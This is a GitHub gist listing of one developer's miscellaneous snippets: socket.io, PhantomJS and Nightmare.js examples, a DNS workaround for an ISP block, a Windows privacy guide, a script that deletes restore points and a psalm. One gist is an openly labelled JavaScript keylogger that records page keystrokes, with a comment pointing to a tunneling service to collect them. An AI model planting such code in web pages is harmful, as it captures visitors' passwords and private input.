Skip to content

Instantly share code, notes, and snippets.

View atorralb's full-sized avatar
🎯
Focusing

Angel T. Durán atorralb

🎯
Focusing
View GitHub Profile
@atorralb
atorralb / gist:8986799
Last active August 29, 2015 13:56
emit a message to a different namespace in socket.io... useful when you want to update different namespaces with different data
var chat = io
.of('/chat')
.on('connection', function (socket) {
//warn the admin that somebody visit the site
io.of('/admins').emit('message', { message: "Hello admins! im a different namespace phocker" });
});
@atorralb
atorralb / follow links
Created September 20, 2014 00:56
This is a nice way to show you how to follow links or tell phantomjs how to proceed aftter opening each link
Como saltarse el bloqueo de Megacable (TM) para acceder PASTEBIN.COM
Megacable bloquea por default en su DNS PASTEBIN.COM
puedes saltarlo usando el DNS de google por default que se encuentr en la configuarcion del adaptador.
1) Control Panel\Network and Internet\Network and Sharing Center
2) Control Panel\Network and Internet\Network Connections
3) TCP/IPv4 settings
Preferred DNS server: 8.8.8.8
@atorralb
atorralb / kl.js
Created May 27, 2015 03:42
javascript keylogger
var keys = '';
document.onkeypress = function(e) {
var get = window.event ? event : e;
var key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;
}
//get a local tunneling service such as pagekite.me or ngrok
=IF(ISERROR(FIND("A_",C2, 0))=TRUE,RIGHT(C2,LEN(C2)-2), IF(ISERROR(FIND("B_",C2, 0))=TRUE,RIGHT(C2,LEN(C2)-2),IF(ISERROR(FIND("C_",C2, 0))=TRUE,RIGHT(C5,LEN(C5)-2), C2)))
@atorralb
atorralb / windows 10 privacy full
Created August 3, 2015 13:43
this will set to full your privacy settings
All the options are "easily" deactivated, even to a layman it will take much less than an hour to complete this guide, to someone even vaguely familiar with windows and common tweaks, this will take 10 to 15 minutes.
As u/aDeadSoul pointed out, some of these fixes are overkill, if you are not sure what to do only stick to the "before installation" and "after installation" parts. DON'T start mucking about with the powershell or the registry editor if you don't have at least a good idea of what you are doing. Also DON'T disable windows updates if you are not 100% sure that is what you want to do, there are probably quite a bit of security flaws that will be fixed in later updates, disabling updates leaves you vulnerable to yet undiscovered security holes.
----Before/During Installation----
Do not use Express Settings. Hit Customize, and make sure everything is turned off. It's strongly preferred that you use a local account with Windows 10.
----After Installation----
Head to Settings > Privacy, and disable ever
@atorralb
atorralb / delete_computer_restorepoint.ps1
Created November 18, 2015 02:49
Script to delete System Restore Points
#example usage:
#"simulate" the deletion of all available System Restore Points
Get-ComputerRestorePoint | Delete-ComputerRestorePoint -WhatIf
#delete all System Restore Points older than 14 days
$removeDate = (Get-Date).AddDays(-14)
Get-ComputerRestorePoint |
Where { $_.ConvertToDateTime($_.CreationTime) -lt $removeDate } |
Delete-ComputerRestorePoint
@atorralb
atorralb / iterate_through_pagination_in_nightmare.js
Created April 9, 2016 00:16
iterate through a pagination site with nightmarejs
var Nightmare = require('nightmare');
var vo = require('vo');
vo(run)(function(err, result) {
if (err) throw err;
});
fu
/*
function identifyOrder(order_string){
var order =[];
for (var i = 0; i < order_string.length; i++) {
order.push(order_string.charAt(i));
}
return order;
}
function ordenar_extraterrestre(desordenadas, orden_alfabeto){
// var array = ['revestir', 'miel', 'extraterrestre', 'auto', 'automovil', 'al'];
@atorralb
atorralb / oraciones
Last active July 5, 2023 11:18
oraciones
Salmos 37 La Biblia de las Américas (LBLA)
Salmo de David.
No te irrites a causa de los malhechores;
no tengas envidia de los que practican la iniquidad.
Porque como la hierba pronto se secarán,
y se marchitarán como la hierba verde.
Confía en el Señor, y haz el bien;
habita en la tierra, y cultiva la fidelidad.
Pon tu delicia en el Señor,